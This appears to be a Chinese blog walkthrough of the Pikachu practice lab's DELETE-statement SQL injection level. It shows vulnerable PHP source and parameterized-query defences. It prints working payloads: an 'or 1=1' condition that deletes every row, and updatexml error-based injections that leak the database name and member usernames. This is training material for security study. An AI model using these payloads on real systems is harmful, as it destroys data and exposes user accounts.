Pikachu靶场通关笔记(23) — SQL Inject (Delete注入)

30次阅读
没有评论

摘要 / 前言:
SQL 注入的“增删改查”四部曲至此来到了最后一部——Delete 注入。Delete 操作通常用于删除留言、订单或购物车商品。这类漏洞一旦被利用,轻则导致数据丢失(被恶意清空),重则像查询注入一样泄露敏感数据。本关演示了如何利用 Delete 注入进行破坏以及如何利用它获取数据库信息。


一、漏洞分析

点击留言板上的“删除”按钮,抓取 Burp 包:

  • 请求方式: GET
  • URL: /vul/sqli/sqli_del.php?id=xx

源码逻辑推测:
后端大概率接收 id 参数后直接拼接到 DELETE 语句中:

$id = $_GET['id'];
// 注意:这里 id 可能是数字型,通常不需要单引号闭合,也可能加了引号
$query="delete from message where id={$_GET['id']}";

二、攻击方式 1:批量删除 (破坏型)

这是最简单的验证方式,也是造成拒绝服务攻击(DoS)的手段。

  • Payload:
    id 修改为 id=1 or 1=1
    (注意:在 URL 中空格需要编码为 +%20) GET /vul/sqli/sqli_del.php?id=74+or+1=1
  • 效果:
    SQL 变为 delete from message where id=1 or 1=1
    因为条件恒真,数据库中的 所有留言被瞬间清空 。这在实战中属于高危操作,请在授权测试时 慎用
Pikachu 靶场通关笔记(23) — SQL Inject (Delete 注入)

三、攻击方式 2:报错注入 (窃取型)

如果目标不是搞破坏,而是获取管理员账号密码,我们依然可以使用报错注入。原理与 Insert/Update 注入完全一致:利用数据库解析 SQL 时的逻辑执行顺序。

前提: 必须在 URL 中进行编码(空格变 +%20)。

1. 爆数据库名

  • Payload:
    sql id=1+and+updatexml(1,concat(0x7e,database(),0x7e),1)
  • 原理:
    SQL 变为 delete from message where id=1 and updatexml(...)
    数据库在筛选要删除哪一行时,先计算了 and 后面的 updatexml,结果触发报错,将数据库名显示在页面上。
Pikachu 靶场通关笔记(23) — SQL Inject (Delete 注入)

2. 爆表名 / 数据

  • Payload:
    sql id=1+and+updatexml(1,concat(0x7e,(select+group_concat(username)+from+member),0x7e),1)
  • 效果: 页面报错并显示用户名。
Pikachu 靶场通关笔记(23) — SQL Inject (Delete 注入)

四、源码深度分析

if(isset($_GET['id'])){$id=$_GET['id'];
    // 漏洞点:id 未经处理直接拼接
    // 这是一个典型的数字型注入场景
    $query="delete from member where id={$id}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){header("location:sqli_del.php"); // 删除成功跳转
    }else{$html.="<p> 删除失败, 请检查下数据库是否还活着 </p>"; // 失败(或报错)显示信息}
}

关键点:

  1. 数字型注入: 这里的 $id 并没有被单引号包裹(id={$id}),所以不需要构造单引号闭合,直接接 andor 即可。
  2. 报错回显: 虽然代码中没有显式打印 $result 的错误信息,但在 Pikachu 的通用 execute 函数配置或 PHP 环境配置中,如果 SQL 执行出错(updatexml 报错),错误信息往往会直接打印在页面上。

五、总结与防御

Delete 注入的危害:

  1. 数据丢失: 攻击者可以轻易清空核心业务表。
  2. 信息泄露: 通过报错注入获取敏感数据。

防御方案:

  1. 权限控制: 确保删除接口只有经过验证的管理员或数据拥有者才能调用(但这防不住 SQL 注入,只能防越权)。
  2. 参数化查询(预编译): 永恒的解决方案。
    php $stmt = $pdo->prepare('DELETE FROM member WHERE id = :id'); // 无论 id 传进来是什么(哪怕是 "1 or 1=1"),都只会被当做一个字符串或数字处理 $stmt->execute(['id' => $_GET['id']]);
正文完
 0
评论(没有评论)